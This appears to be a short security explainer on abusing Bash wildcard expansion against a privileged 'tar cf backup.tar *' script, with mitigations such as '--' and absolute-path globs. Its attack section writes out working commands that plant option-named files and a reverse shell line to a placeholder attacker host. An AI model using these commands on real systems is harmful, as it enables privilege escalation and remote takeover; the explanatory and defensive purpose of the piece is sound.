Abusing Wildcard Expansion in Bash

In Bash, * is expanded by the shell, not the command. When a script runs tar cf backup.tar *, Bash replaces * with the list of filenames in the current directory before tar ever sees it. If an attacker can plant files in that directory whose names look like command-line switches, those filenames are passed as literal arguments and interpreted as options.

The attack

Classic target: a sloppy tar backup script running as root or a privileged user in a writable directory.

# Attacker plants files in a directory processed by `tar cf backup.tar *`
touch --checkpoint=1
touch --checkpoint-action=exec=sh\ shell.sh
echo 'bash -i >& /dev/tcp/$ATTACKER/$PORT 0>&1' > shell.sh
chmod +x shell.sh

When the privileged script runs tar cf backup.tar *, the expansion becomes:

tar cf backup.tar --checkpoint=1 --checkpoint-action=exec=sh\ shell.sh ...

tar treats the filenames as options, executes shell.sh, and the attacker gets a reverse shell. The same pattern works against cp, mv, rsync, chown, and any tool that treats dash-prefixed positional arguments as options.

Mitigation

  • Use -- to end option parsing: tar cf backup.tar -- * — the -- tells the command that everything after it is a filename, not an option.
  • Use an absolute path glob: tar cf backup.tar /path/to/dir/* — filenames become /path/to/dir/--checkpoint=1, which are not parsed as options.
  • Use find with -print0 + xargs -0: avoids word-splitting and filename-as-option issues entirely.

Sources